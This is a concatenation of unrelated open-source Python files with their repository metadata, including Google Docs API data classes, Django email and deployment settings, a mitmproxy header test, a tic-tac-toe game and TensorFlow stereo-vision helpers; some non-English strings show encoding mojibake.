"""Whether this Resource is hidden. Returns: Boolean value indicating that the resource is hidden. """ return self.has_label(HIDDEN_LABEL) IsHidden = is_hidden def is_viewed(self): """Whether this Resource is viewed. Returns: Boolean value indicating that the resource is viewed. """ return self.has_label(VIEWED_LABEL) IsViewed = is_viewed def is_trashed(self): """Whether this resource is trashed. Returns: Boolean value indicating that the resource is trashed. """ return self.has_label(TRASHED_LABEL) IsTrashed = is_trashed def is_mine(self): """Whether this resource is marked as mine. Returns: Boolean value indicating that the resource is marked as mine. """ return self.has_label(MINE_LABEL) IsMine = is_mine def is_private(self): """Whether this resource is private. Returns: Boolean value indicating that the resource is private. """ return self.has_label(PRIVATE_LABEL) IsPrivate = is_private def is_shared_with_domain(self): """Whether this resource is shared with the domain. Returns: Boolean value indicating that the resource is shared with the domain. """ return self.has_label(SHAREDWITHDOMAIN_LABEL) IsSharedWithDomain = is_shared_with_domain def is_restricted_download(self): """Whether this resource is restricted download. Returns: Boolean value indicating whether the resource is restricted download. """ return self.has_label(RESTRICTEDDOWNLOAD_LABEL) IsRestrictedDownload = is_restricted_download class AclEntry(gdata.acl.data.AclEntry, gdata.data.BatchEntry): """Resource ACL entry.""" @staticmethod def get_instance(role=None, scope_type=None, scope_value=None, key=False): entry = AclEntry() if role is not None: if isinstance(role, str): role = gdata.acl.data.AclRole(value=role) if key: entry.with_key = gdata.acl.data.AclWithKey(key='', role=role) else: entry.role = role if scope_type is not None: if scope_value is not None: entry.scope = gdata.acl.data.AclScope(type=scope_type, value=scope_value) else: entry.scope = gdata.acl.data.AclScope(type=scope_type) return entry GetInstance = get_instance class AclFeed(gdata.acl.data.AclFeed): """Resource ACL feed.""" entry = [AclEntry] class Resource(gdata.data.BatchEntry, CategoryFinder): """DocList version of an Atom Entry.""" last_viewed = LastViewed last_modified_by = LastModifiedBy resource_id = ResourceId deleted = Deleted writers_can_invite = WritersCanInvite quota_bytes_used = QuotaBytesUsed feed_link = [gdata.data.FeedLink] filename = Filename suggested_filename = SuggestedFilename description = Description # Only populated if you request /feeds/default/private/expandAcl acl_feed = AclFeed def __init__(self, type=None, title=None, **kwargs): super(Resource, self).__init__(**kwargs) if isinstance(type, str): self.set_resource_type(type) if title is not None: if isinstance(title, str): self.title = atom.data.Title(text=title) else: self.title = title def get_acl_feed_link(self): """Extracts the Resource's ACL feed <gd:feedLink>. Returns: A gdata.data.FeedLink object. """ for feed_link in self.feed_link: if feed_link.rel == ACL_FEEDLINK_REL: return feed_link return None GetAclFeedLink = get_acl_feed_link def get_revisions_feed_link(self): """Extracts the Resource's revisions feed <gd:feedLink>. Returns: A gdata.data.FeedLink object. """ for feed_link in self.feed_link: if feed_link.rel == REVISION_FEEDLINK_REL: return feed_link return None GetRevisionsFeedLink = get_revisions_feed_link def get_resumable_create_media_link(self): """Extracts the Resource's resumable create link. Returns: A gdata.data.FeedLink object. """ return self.get_link(RESUMABLE_CREATE_MEDIA_LINK_REL) GetResumableCreateMediaLink = get_resumable_create_media_link def get_resumable_edit_media_link(self): """Extracts the Resource's resumable update link. Returns: A gdata.data.FeedLink object. """ return self.get_link(RESUMABLE_EDIT_MEDIA_LINK_REL) GetResumableEditMediaLink = get_resumable_edit_media_link def in_collections(self): """Returns the parents link(s) (collections) of this entry.""" links = [] for link in self.link: if link.rel == PARENT_LINK_REL and link.href: links.append(link) return links InCollections = in_collections class ResourceFeed(gdata.data.BatchFeed): """Main feed containing a list of resources.""" entry = [Resource] class Revision(gdata.data.GDEntry): """Resource Revision entry.""" publish = Publish publish_auto = PublishAuto publish_outside_domain = PublishOutsideDomain def find_publish_link(self): """Get the link that points to the published resource on the web. Returns: A str for the URL in the link with a rel ending in #publish. """ return self.find_url(PUBLISH_LINK_REL) FindPublishLink = find_publish_link def get_publish_link(self): """Get the link that points to the published resource on the web. Returns: A gdata.data.Link for the link with a rel ending in #publish. """ return self.get_link(PUBLISH_LINK_REL) GetPublishLink = get_publish_link class RevisionFeed(gdata.data.GDFeed): """A DocList Revision feed.""" entry = [Revision] class ArchiveResourceId(atom.core.XmlElement): """The DocList docs:removed element.""" _qname = DOCUMENTS_TEMPLATE % 'archiveResourceId' class ArchiveFailure(atom.core.XmlElement): """The DocList docs:archiveFailure element.""" _qname = DOCUMENTS_TEMPLATE % 'archiveFailure' class ArchiveComplete(atom.core.XmlElement): """The DocList docs:archiveComplete element.""" _qname = DOCUMENTS_TEMPLATE % 'archiveComplete' class ArchiveTotal(atom.core.XmlElement): """The DocList docs:archiveTotal element.""" _qname = DOCUMENTS_TEMPLATE % 'archiveTotal' class ArchiveTotalComplete(atom.core.XmlElement): """The DocList docs:archiveTotalComplete element.""" _qname = DOCUMENTS_TEMPLATE % 'archiveTotalComplete' class ArchiveTotalFailure(atom.core.XmlElement): """The DocList docs:archiveTotalFailure element.""" _qname = DOCUMENTS_TEMPLATE % 'archiveTotalFailure' class ArchiveConversion(atom.core.XmlElement): """The DocList docs:removed element.""" _qname = DOCUMENTS_TEMPLATE % 'archiveConversion' source = 'source' target = 'target' class ArchiveNotify(atom.core.XmlElement): """The DocList docs:archiveNotify element.""" _qname = DOCUMENTS_TEMPLATE % 'archiveNotify' class ArchiveStatus(atom.core.XmlElement): """The DocList docs:archiveStatus element.""" _qname = DOCUMENTS_TEMPLATE % 'archiveStatus' class ArchiveNotifyStatus(atom.core.XmlElement): """The DocList docs:archiveNotifyStatus element.""" _qname = DOCUMENTS_TEMPLATE % 'archiveNotifyStatus' class Archive(gdata.data.GDEntry): """Archive entry.""" archive_resource_ids = [ArchiveResourceId] status = ArchiveStatus date_completed = ArchiveComplete num_resources = ArchiveTotal num_complete_resources = ArchiveTotalComplete num_failed_resources = ArchiveTotalFailure failed_resource_ids = [ArchiveFailure] notify_status = ArchiveNotifyStatus conversions = [ArchiveConversion] notification_email = ArchiveNotify size = QuotaBytesUsed @staticmethod def from_resource_list(resources): resource_ids = [] for resource in resources: id = ArchiveResourceId(text=resource.resource_id.text) resource_ids.append(id) return Archive(archive_resource_ids=resource_ids) FromResourceList = from_resource_list class Removed(atom.core.XmlElement): """The DocList docs:removed element.""" _qname = DOCUMENTS_TEMPLATE % 'removed' class Changestamp(atom.core.XmlElement): """The DocList docs:changestamp element.""" _qname = DOCUMENTS_TEMPLATE % 'changestamp' value = 'value' class Change(Resource): """Change feed entry.""" changestamp = Changestamp removed = Removed class ChangeFeed(gdata.data.GDFeed): """DocList Changes feed.""" entry = [Change] class QuotaBytesTotal(atom.core.XmlElement): """The DocList gd:quotaBytesTotal element.""" _qname = gdata.data.GDATA_TEMPLATE % 'quotaBytesTotal' class QuotaBytesUsedInTrash(atom.core.XmlElement): """The DocList docs:quotaBytesUsedInTrash element.""" _qname = DOCUMENTS_TEMPLATE % 'quotaBytesUsedInTrash' class ImportFormat(atom.core.XmlElement): """The DocList docs:importFormat element.""" _qname = DOCUMENTS_TEMPLATE % 'importFormat' source = 'source' target = 'target' class ExportFormat(atom.core.XmlElement): """The DocList docs:exportFormat element.""" _qname = DOCUMENTS_TEMPLATE % 'exportFormat' source = 'source' target = 'target' class FeatureName(atom.core.XmlElement): """The DocList docs:featureName element.""" _qname = DOCUMENTS_TEMPLATE % 'featureName' class FeatureRate(atom.core.XmlElement): """The DocList docs:featureRate element.""" _qname = DOCUMENTS_TEMPLATE % 'featureRate' class Feature(atom.core.XmlElement): """The DocList docs:feature element.""" _qname = DOCUMENTS_TEMPLATE % 'feature' name = FeatureName rate = FeatureRate class MaxUploadSize(atom.core.XmlElement): """The DocList docs:maxUploadSize element.""" _qname = DOCUMENTS_TEMPLATE % 'maxUploadSize' kind = 'kind' class AdditionalRoleSet(atom.core.XmlElement): """The DocList docs:additionalRoleSet element.""" _qname = DOCUMENTS_TEMPLATE % 'additionalRoleSet' primaryRole = 'primaryRole' additional_role = [gdata.acl.data.AclAdditionalRole] class AdditionalRoleInfo(atom.core.XmlElement): """The DocList docs:additionalRoleInfo element.""" _qname = DOCUMENTS_TEMPLATE % 'additionalRoleInfo' kind = 'kind' additional_role_set = [AdditionalRoleSet] class Metadata(gdata.data.GDEntry): """Metadata entry for a user.""" quota_bytes_total = QuotaBytesTotal quota_bytes_used = QuotaBytesUsed quota_bytes_used_in_trash = QuotaBytesUsedInTrash import_formats = [ImportFormat] export_formats = [ExportFormat] features = [Feature] max_upload_sizes = [MaxUploadSize] additional_role_info = [AdditionalRoleInfo]
616900694b0862636d221e3a8773a98780b7afd3
493c7d9678a0724736fb9dd7c69580a94099d2b4
/apps/utils/email_send.py
36fe5822fba9d09e3c79655bd951767e0024091b
[]
no_license
cuixiaozhao/MxOnline
e253c8c5f5fa81747d8e1ca064ce032e9bd42566
c96ae16cea9ad966df36e9fcacc902c2303e765c
refs/heads/master
2020-03-29T18:47:11.158275
2018-10-22T14:06:50
2018-10-22T14:06:50
150,231,387
0
1
null
null
null
null
UTF-8
Python
false
false
1,622
py
#!/usr/bin/python3 # -*- coding:utf-8 -*- # Project: MxOnline # Software: PyCharm # Time : 2018-09-27 18:41 # File : email_send.py # Author : ๅคฉๆ™ดๅคฉๆœ— # Email : [email protected] from users.models import EmailVerifyRecord from random import Random from django.core.mail import send_mail from MxOnline.settings import EMAIL_FROM def random_str(randomlength=8): str = '' chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz01234567890' length = len(chars) - 1 random = Random() for i in range(randomlength): str += chars[random.randint(0, length)] return str def send_register_email(email, send_type="register"): email_record = EmailVerifyRecord() code = random_str(16) email_record.code = code email_record.email = email email_record.send_type = send_type email_record.save() # ๅฎšไน‰E-mail็š„ไธป้ข˜ไธŽไธปไฝ“ๅ†…ๅฎน๏ผ› email_title = "" email_body = "" if send_type == "register": email_title = "ๆ…•ๅญฆๅœจ็บฟ็ฝ‘ๆณจๅ†Œๆฟ€ๆดป้“พๆŽฅ" email_body = "่ฏท็‚นๅ‡ปไธ‹้ข็š„้“พๆŽฅๆฅๆฟ€ๆดปไฝ ็š„่ดฆๅท:http://127.0.0.1:8000/active/{0}".format(code) send_status = send_mail(email_title, email_body, EMAIL_FROM, [email]) if send_status: pass elif send_type == "forget": email_title = "ๆ…•ๅญฆๅœจ็บฟ็ฝ‘้‡็ฝฎ้“พๆŽฅ" email_body = "่ฏท็‚นๅ‡ปไธ‹้ข็š„้“พๆŽฅๆฅ้‡็ฝฎไฝ ็š„่ดฆๅท:http://127.0.0.1:8000/reset/{0}".format(code) send_status = send_mail(email_title, email_body, EMAIL_FROM, [email]) if send_status: pass def generate_random_str(): pass
[ "19930911cXS" ]
19930911cXS
ecfe7678744fa8d9f0e8c01aab200b5c1f9f6562
6fb1d9f617ad89c5ac7e4280f07a88bdb8b02aee
/test/mitmproxy/builtins/test_setheaders.py
41c1836059fa20e5bf5afa43edf5bd300b45f47c
[ "MIT" ]
permissive
tigerqiu712/mitmproxy
e689f5d87e91837a6853b1a1402269ba3be4fcbc
dcfa7027aed5a8d4aa80aff67fc299298659fb1b
refs/heads/master
2021-01-12T22:38:19.735004
2016-08-04T22:39:48
2016-08-04T22:39:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,925
py
from .. import tutils, mastertest from mitmproxy.builtins import setheaders from mitmproxy.flow import state from mitmproxy import options class TestSetHeaders(mastertest.MasterTest): def mkmaster(self, **opts): s = state.State() o = options.Options(**opts) m = mastertest.RecordingMaster(o, None, s) sh = setheaders.SetHeaders() m.addons.add(o, sh) return m, sh def test_configure(self): sh = setheaders.SetHeaders() o = options.Options( setheaders = [("~b", "one", "two")] ) tutils.raises( "invalid setheader filter pattern", sh.configure, o, o.keys() ) def test_setheaders(self): m, sh = self.mkmaster( setheaders = [ ("~q", "one", "two"), ("~s", "one", "three") ] ) f = tutils.tflow() f.request.headers["one"] = "xxx" self.invoke(m, "request", f) assert f.request.headers["one"] == "two" f = tutils.tflow(resp=True) f.response.headers["one"] = "xxx" self.invoke(m, "response", f) assert f.response.headers["one"] == "three" m, sh = self.mkmaster( setheaders = [ ("~s", "one", "two"), ("~s", "one", "three") ] ) f = tutils.tflow(resp=True) f.request.headers["one"] = "xxx" f.response.headers["one"] = "xxx" self.invoke(m, "response", f) assert f.response.headers.get_all("one") == ["two", "three"] m, sh = self.mkmaster( setheaders = [ ("~q", "one", "two"), ("~q", "one", "three") ] ) f = tutils.tflow() f.request.headers["one"] = "xxx" self.invoke(m, "request", f) assert f.request.headers.get_all("one") == ["two", "three"]
0e6d89722932fd3a7117104f6e6c4694238e3d04
eec2e3ed9be7c0bd4765a4bd9f32d2d575ff74ce
/databasetest/databasetest/wsgi.py
eeb1ca793be5c06948a41e91cee09bcd0663ceec
[]
no_license
durmusyasar/CecAcademy-Projects-4--Pretty-Printed--
a67e5cb4bb8f7b9d64b9cd89dff84df3028eb0be
d5710b1bd79f4125cc6f246371cb848f23be0c74
refs/heads/master
2021-06-18T11:30:18.365631
2019-09-04T12:50:03
2019-09-04T12:50:03
173,425,664
0
0
null
2021-06-10T21:13:44
2019-03-02T08:57:58
Python
UTF-8
Python
false
false
401
py
""" WSGI config for databasetest project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'databasetest.settings') application = get_wsgi_application()
6db9bb5b24703aab877180c00f818cc1d8c49db5
8d13818c4aa7e32df594b3859344812669fd26f1
/school_navigator/settings/deploy.py
7d1186222c366849ebeca052151a059af60ef6a0
[]
no_license
rosalsm/school-navigator
ee4ea47d9845900b22836b93bdc82862a8e53741
a41cb0721da3f7c7cd43ae76f162db51c764d8ea
refs/heads/master
2020-12-07T03:50:24.615270
2016-03-09T02:37:12
2016-03-09T02:37:12
54,512,859
0
0
null
2016-03-22T22:25:43
2016-03-22T22:25:42
null
UTF-8
Python
false
false
1,893
py
# Settings for live deployed environments: vagrant, staging, production, etc from .base import * # noqa os.environ.setdefault('CACHE_HOST', '127.0.0.1:11211') os.environ.setdefault('BROKER_HOST', '127.0.0.1:5672') ENVIRONMENT = os.environ['ENVIRONMENT'] DEBUG = False DATABASES['default']['NAME'] = 'school_navigator_%s' % ENVIRONMENT.lower() DATABASES['default']['USER'] = 'school_navigator_%s' % ENVIRONMENT.lower() DATABASES['default']['HOST'] = os.environ.get('DB_HOST', '') DATABASES['default']['PORT'] = os.environ.get('DB_PORT', '') DATABASES['default']['PASSWORD'] = os.environ.get('DB_PASSWORD', '') WEBSERVER_ROOT = '/var/www/school_navigator/' PUBLIC_ROOT = os.path.join(WEBSERVER_ROOT, 'public') STATIC_ROOT = os.path.join(PUBLIC_ROOT, 'static') MEDIA_ROOT = os.path.join(PUBLIC_ROOT, 'media') CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', 'LOCATION': '%(CACHE_HOST)s' % os.environ, } } EMAIL_SUBJECT_PREFIX = '[School_Navigator %s] ' % ENVIRONMENT.title() DEFAULT_FROM_EMAIL = 'noreply@%(DOMAIN)s' % os.environ SERVER_EMAIL = DEFAULT_FROM_EMAIL COMPRESS_ENABLED = True SESSION_COOKIE_SECURE = True SESSION_COOKIE_HTTPONLY = True ALLOWED_HOSTS = [os.environ['DOMAIN']] # Uncomment if using celery worker configuration CELERY_SEND_TASK_ERROR_EMAILS = True BROKER_URL = 'amqp://school_navigator_%(ENVIRONMENT)s:%(BROKER_PASSWORD)s@%(BROKER_HOST)s/school_navigator_%(ENVIRONMENT)s' % os.environ # noqa # Environment overrides # These should be kept to an absolute minimum if ENVIRONMENT.upper() == 'LOCAL': # Don't send emails from the Vagrant boxes EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' ADMINS = ( ('Colin Copeland', '[email protected]'), ) MANAGERS = ADMINS LOGGING['handlers']['file']['filename'] = '/var/www/school_navigator/log/schools.log'
d916feda1d6f1e80da823656bd4c71d6f4dd5a02
d0d1e07c984651f96bd9386d546c85c0341e46b2
/timedata/control/envelope/segments.py
16160ce32aeb7e7df7a512c946d3aac288a9636c
[ "MIT" ]
permissive
timedata-org/timedata
61cde905b1fe9eb60ac83ecbf5a5a2114793c45d
3faac7450678aaccd4a283d0d41ca3e7f113f51b
refs/heads/master
2020-04-11T12:03:57.962646
2019-06-09T10:05:16
2019-06-09T10:05:52
51,217,217
5
3
null
2016-09-18T16:20:43
2016-02-06T19:13:43
C++
UTF-8
Python
false
false
1,116
py
class Segments(list): """ A list of [level, time] pairs. """ def __init__(self, segments=(), length=None): super().__init__() self.base_value = 0 for segment in segments: try: level, time = segment except TypeError: level, time = segment, None self.append([level, time]) times = [t for s, t in self if t is not None] if times: mean = sum(times) / len(times) else: mean = (length or 1) / max(1, len(self)) for segment in self: if segment[1] is None: segment[1] = mean self.total_time = sum(t for l, t in self) def __call__(self, time, base_value=0): elapsed_time = 0 level = base_value for l, t in self: segment_end_time = elapsed_time + t if time < segment_end_time: delta_t = time - elapsed_time return level + (l - level) * delta_t / t elapsed_time = segment_end_time level = l return level
474c9f5e02f118f0f06da4331b7c2bd065301b36
6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4
/NyTjy8nmHj9bmxMTC_14.py
e3c771df7a753dd5a3ce288cd92845294dcedb72
[]
no_license
daniel-reich/ubiquitous-fiesta
26e80f0082f8589e51d359ce7953117a3da7d38c
9af2700dbe59284f5697e612491499841a6c126f
refs/heads/master
2023-04-05T06:40:37.328213
2021-04-06T20:17:44
2021-04-06T20:17:44
355,318,759
0
0
null
null
null
null
UTF-8
Python
false
false
171
py
import math from decimal import Decimal โ€‹ def vol_pizza(radius, height): solution = radius*radius*height*math.pi decSol = Decimal(solution) return round(decSol)
dd2c7c4d2446ea1919e10264fc0438137e66880e
f2d1362eea91a090cdec4f232ef168f0837a5f5d
/tests/bench/ssh-roundtrip.py
8745505d2470f6f5065b38cb82c7fa585e3ac501
[ "BSD-3-Clause" ]
permissive
marc1006/mitogen
2296e7d7618d130efcd42d355ace16d536237364
2ed8395d6ce2adc6a252b68c310646707348f3a1
refs/heads/master
2022-05-19T19:38:30.053265
2019-08-08T16:50:40
2019-08-08T16:54:33
201,296,264
0
0
null
2019-08-08T16:25:20
2019-08-08T16:25:20
null
UTF-8
Python
false
false
597
py
""" Measure latency of SSH RPC. """ import sys import time import mitogen import mitogen.utils import ansible_mitogen.affinity mitogen.utils.setup_gil() ansible_mitogen.affinity.policy.assign_worker() try: xrange except NameError: xrange = range def do_nothing(): pass @mitogen.main() def main(router): f = router.ssh(hostname=sys.argv[1]) f.call(do_nothing) t0 = time.time() end = time.time() + 5.0 i = 0 while time.time() < end: f.call(do_nothing) i += 1 t1 = time.time() print('++', float(1e3 * (t1 - t0) / (1.0+i)), 'ms')
dbddee33c2e3dad0c8f9955deb3e40d75449a052
cebf2e5276e6d064d0ec86beaf1129fe0d0fd582
/days081-090/day083/project/tic_tac_toe.py
04fa7c9806b6d01e22dbdb0233b6d24bcf3ad8d4
[]
no_license
SheikhFahimFayasalSowrav/100days
532a71c5c790bc28b9fd93c936126a082bc415f5
0af9f2f16044facc0ee6bce96ae5e1b5f88977bc
refs/heads/master
2023-06-14T06:18:44.109685
2021-07-08T16:58:13
2021-07-08T16:58:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,504
py
import random EMPTY = '_' CROSS = 'X๏ธ' DOT = 'O' class TicTacToe: POS_DICT = { 1: (0, 0), 2: (0, 1), 3: (0, 2), 4: (1, 0), 5: (1, 1), 6: (1, 2), 7: (2, 0), 8: (2, 1), 9: (2, 2), } def __init__(self, players): self.board = [[EMPTY for _i in range(3)] for _j in range(3)] self.winners = {'DRAW': 0, players[0].upper(): 0, players[1].upper(): 0} self.player1 = random.choice(players) players.remove(self.player1) self.player2 = players[0] self.round = 1 self.turn = 0 self.game_over = False def start(self): print('\nRules:') print(' Player 1 always starts.') print(' Players are selected randomly for first round.') print(' Player 1 is "X", Player 2 is "O".') print(' You must select a number from 1 to 9') print('when choosing a move, as follows:') print('\n 1 2 3\n 4 5 6\n 7 8 9') print('\nFor this round:') print('Player 1:', self.player1) print('Player 2:', self.player2) def convert_pos(self, index): return self.POS_DICT.get(index, None) def is_available(self, row, col): return self.board[row][col] == EMPTY def play(self): index = int(input(f'Enter a position on the board {self.player1 if self.turn % 2 == 0 else self.player2}: ')) pos = self.convert_pos(index) if pos is None: print('Invalid position entered!') return False row, col = pos if not self.is_available(row, col): print('Position is not a free space!') return False self.board[row][col] = CROSS if self.turn % 2 == 0 else DOT self.turn += 1 return True def reset(self): if input('Type "yes" if you wish to keep playing? ').lower() == 'yes': self.board = [[EMPTY for _i in range(3)] for _j in range(3)] self.turn = 0 self.round += 1 self.player1, self.player2 = self.player2, self.player1 print("\nATTENTION: The players have been switched!!!") print('\nFor this round:') print('Player 1:', self.player1) print('Player 2:', self.player2) else: self.game_over = True def final_output(self): print(f"\nYou have played {self.round} rounds.\n") for winner, score in self.winners.items(): print(f'{winner} won {score} times.') del self.winners['DRAW'] winner = max(self.winners, key=self.winners.get) print(f'\n{winner} is the final winner!') def check_board(self): b_dict = { 1: self.board[0][0], 2: self.board[0][1], 3: self.board[0][2], 4: self.board[1][0], 5: self.board[1][1], 6: self.board[1][2], 7: self.board[2][0], 8: self.board[2][1], 9: self.board[2][2], } if b_dict[1] == b_dict[2] == b_dict[3] or b_dict[1] == b_dict[4] == b_dict[7]: return b_dict[1] if b_dict[4] == b_dict[5] == b_dict[6] or b_dict[2] == b_dict[5] == b_dict[8]: return b_dict[5] if b_dict[7] == b_dict[8] == b_dict[9] or b_dict[3] == b_dict[6] == b_dict[9]: return b_dict[9] if b_dict[1] == b_dict[5] == b_dict[9] or b_dict[3] == b_dict[5] == b_dict[7]: return b_dict[5] def check_game(self): if self.turn == 9: self.winners['DRAW'] += 1 print("\nFinal board:") print(self) print("It's a DRAW!") self.reset() if self.turn >= 5: winner = self.check_board() if winner != EMPTY and winner is not None: print("\nFinal board:") print(self) winner_name = self.player1 if winner == CROSS else self.player2 print(f'This round was won by {winner_name}!') self.winners[winner_name.upper()] += 1 self.reset() def __str__(self): lines = [' '.join(self.board[x]) for x in range(3)] return '\n'.join(lines) print("Welcome to Tic Tac Toe!") game = TicTacToe(input('Enter the name for the players: ').split()) game.start() while not game.game_over: print("\nCurrent board: ") print(game) if game.play(): game.check_game() game.final_output()
8511a92526362590653b4d46e0952834d47a5b81
2871a5c3d1e885ee72332dbd8ff2c015dbcb1200
/SteReFo/stereonet/utils.py
65da3b85dd3f3fd2addb467268b0901a7c58105a
[ "BSD-3-Clause", "MIT" ]
permissive
huawei-noah/noah-research
297476299ad040552e44656541858145de72d141
82c49c36b76987a46dec8479793f7cf0150839c6
refs/heads/master
2023-08-16T19:29:25.439701
2023-08-14T03:11:49
2023-08-14T03:11:49
272,853,727
816
171
null
2023-09-12T01:28:36
2020-06-17T01:53:20
Python
UTF-8
Python
false
false
4,760
py
#Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. #This program is free software; you can redistribute it and/or modify it under the terms of the BSD 0-Clause License. #This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the BSD 0-Clause License for more details. import tensorflow as tf import numpy as np import re def conv2d(inputs, filters, kernel_size, name, strides=1, dilation_rate=1): return tf.layers.conv2d(inputs=inputs, filters=filters, kernel_size=kernel_size, strides=strides, padding='same', kernel_initializer=tf.contrib.layers.xavier_initializer(),bias_initializer=tf.zeros_initializer(),dilation_rate=dilation_rate, name=name) def conv3d(input,num_outputs,kernel_size,name): return tf.layers.conv3d(inputs=input,filters=num_outputs,kernel_size=kernel_size,kernel_initializer=tf.contrib.layers.xavier_initializer(),activation=None,padding='same',name=name) def resnet_block(inputs, filters, kernel_size, name, dilation_rate=1): out = conv2d(inputs=inputs, filters=filters, kernel_size=kernel_size, name=name + '_conv1', dilation_rate=dilation_rate) out = tf.nn.relu(out,name=name + '_relu1') out = conv2d(inputs=out, filters=filters, kernel_size=kernel_size, name=name + '_conv2', dilation_rate=dilation_rate) out = tf.add(out, inputs, name=name + '_add') out = tf.nn.relu(out,name=name + '_relu2') return out def lcn_preprocess(input_tensor): """ Returns the normalised and centered values of a tensor, along with its standard dev. """ full_h = int(input_tensor.shape[1]) full_w = int(input_tensor.shape[2]) ##compute local averages ones = tf.ones_like(input_tensor) avg_filter = tf.ones([9,9,3,1],dtype=tf.float32,name='avg_filter') divide_weight = tf.nn.convolution(ones,filter=avg_filter,padding='SAME') input_tensor_avg = tf.nn.convolution(input_tensor,filter=avg_filter,padding='SAME') / divide_weight #compute local std dev padded_left = tf.pad(input_tensor,[[0,0],[4,4],[4,4],[0,0]]) padded_ones = tf.pad(ones,[[0,0],[4,4],[4,4],[0,0]]) input_tensor_std = tf.zeros_like(input_tensor) for x in range(9): for y in range(9): input_tensor_std += tf.square(padded_left[:,y:y+full_h,x:x+full_w,:] - input_tensor_avg) * padded_ones[:,y:y+full_h,x:x+full_w,:] const = 1e-10 input_tensor_std = tf.sqrt((input_tensor_std + const) / divide_weight) #Center input around mean input_tensor = (input_tensor - input_tensor_avg) / (input_tensor_std + const) return input_tensor def readPFM(file): ''' This code is from https://lmb.informatik.uni-freiburg.de/resources/datasets/SceneFlowDatasets.en.html ''' file = open(file, 'rb') color = None width = None height = None scale = None endian = None header = file.readline().rstrip() if header.decode("ascii") == 'PF': color = True elif header.decode("ascii") == 'Pf': color = False else: raise Exception('Not a PFM file.') dim_match = re.match(r'^(\d+)\s(\d+)\s$', file.readline().decode("ascii")) if dim_match: width, height = list(map(int, dim_match.groups())) else: raise Exception('Malformed PFM header.') scale = float(file.readline().decode("ascii").rstrip()) if scale < 0: # little-endian endian = '<' scale = -scale else: endian = '>' # big-endian data = np.fromfile(file, endian + 'f') shape = (1,height, width, 3) if color else (height, width) data = np.reshape(data, shape) data = np.flipud(data) return data def writePFM(file, image, scale=1): ''' This code is from https://lmb.informatik.uni-freiburg.de/resources/datasets/SceneFlowDatasets.en.html ''' file = open(file, 'wb') color = None if image.dtype.name != 'float32': raise Exception('Image dtype must be float32.') image = np.flipud(image) if len(image.shape) == 3 and image.shape[2] == 3: # color image color = True elif len(image.shape) == 2 or len(image.shape) == 3 and image.shape[2] == 1: # greyscale color = False else: raise Exception('Image must have H x W x 3, H x W x 1 or H x W dimensions.') file.write('PF\n' if color else 'Pf\n'.encode()) file.write('%d %d\n'.encode() % (image.shape[1], image.shape[0])) endian = image.dtype.byteorder if endian == '<' or endian == '=' and sys.byteorder == 'little': scale = -scale file.write('%f\n'.encode() % scale) image.tofile(file)
dfae7ec2e5295d75dd18efa6da46fbd208bce081
b8c4ef9ccab22717ab97ab2fb100614d962a5820
/src/main/python/com/skalicky/python/interviewpuzzles/merge_multiple_sorted_linked_lists.py
1ac1c3dc9ac3a02f3b3c233c860d355c4f9dda3f
[]
no_license
Sandeep8447/interview_puzzles
1d6c8e05f106c8d5c4c412a9f304cb118fcc90f4
a3c1158fe70ed239f8548ace8d1443a431b644c8
refs/heads/master
2023-09-02T21:39:32.747747
2021-10-30T11:56:57
2021-10-30T11:56:57
422,867,683
0
0
null
2021-10-30T11:56:58
2021-10-30T11:55:17
null
UTF-8
Python
false
false
3,633
py
# Task: # # You are given an array of k sorted singly linked lists. Merge the linked lists into a single sorted linked list and # return it. # # Here's your starting point: # # class Node(object): # def __init__(self, val, next=None): # self.val = val # self.next = next # # def __str__(self): # c = self # answer = "" # while c: # answer += str(c.val) if c.val else "" # c = c.next # return answer # # def merge(lists): # # Fill this in. # # a = Node(1, Node(3, Node(5))) # b = Node(2, Node(4, Node(6))) # print merge([a, b]) # # 123456 from typing import List, Optional class Node: def __init__(self, val: int, next_node=None): self.val: int = val self.next_node: Node = next_node def __str__(self): current: Node = self answer = "" while current: answer += str(current.val) if current.val else "" current = current.next_node return answer def set_next_node_and_determine_beginning(beginning: Node, current: Node, next_node: Node): if current: current.next_node = next_node return beginning, next_node else: return next_node, next_node def merge_two_lists(first: Node, second: Node): first_current: Node = first second_current: Node = second result_beginning: Optional[Node] = None result_current: Optional[Node] = None while first_current and second_current: if first_current.val <= second_current.val: result_beginning, result_current = set_next_node_and_determine_beginning(result_beginning, result_current, first_current) first_current = first_current.next_node else: result_beginning, result_current = set_next_node_and_determine_beginning(result_beginning, result_current, second_current) second_current = second_current.next_node if not first_current and second_current: result_beginning, result_current = set_next_node_and_determine_beginning(result_beginning, result_current, second_current) if not second_current and first_current: result_beginning, result_current = set_next_node_and_determine_beginning(result_beginning, result_current, first_current) return result_beginning def merge(lists: List[Node]): if len(lists) == 0: return '' else: current_lists: List[Node] = lists while len(current_lists) > 1: last: Node = current_lists.pop() one_before_last: Node = current_lists.pop() current_lists.append(merge_two_lists(last, one_before_last)) return current_lists[0] list1 = Node(1, Node(3, Node(5))) list2 = Node(3, Node(4, Node(6, Node(7)))) list3 = Node(2, Node(8)) list4 = Node(9) print(merge([list1, list2, list3, list4])) # 123456 print(merge([])) # list5 = Node(1, Node(3, Node(5))) print(merge([list5])) # 135 list6 = Node(1, Node(3, Node(5))) list7 = None print(merge([list6, list7])) # 135
06a1015299b1742df49a3baa3691aa1c0bcdbb5f
71f3ecb8fc4666fcf9a98d39caaffc2bcf1e865c
/.history/็ฌฌ4็ซ /lian1_20200608191011.py
322b31fe7018eb95ef28b4b5924a2532c3a1b951
[ "MIT" ]
permissive
dltech-xyz/Alg_Py_Xiangjie
03a9cac9bdb062ce7a0d5b28803b49b8da69dcf3
877c0f8c75bf44ef524f858a582922e9ca39bbde
refs/heads/master
2022-10-15T02:30:21.696610
2020-06-10T02:35:36
2020-06-10T02:35:36
null
0
0
null
null
null
null
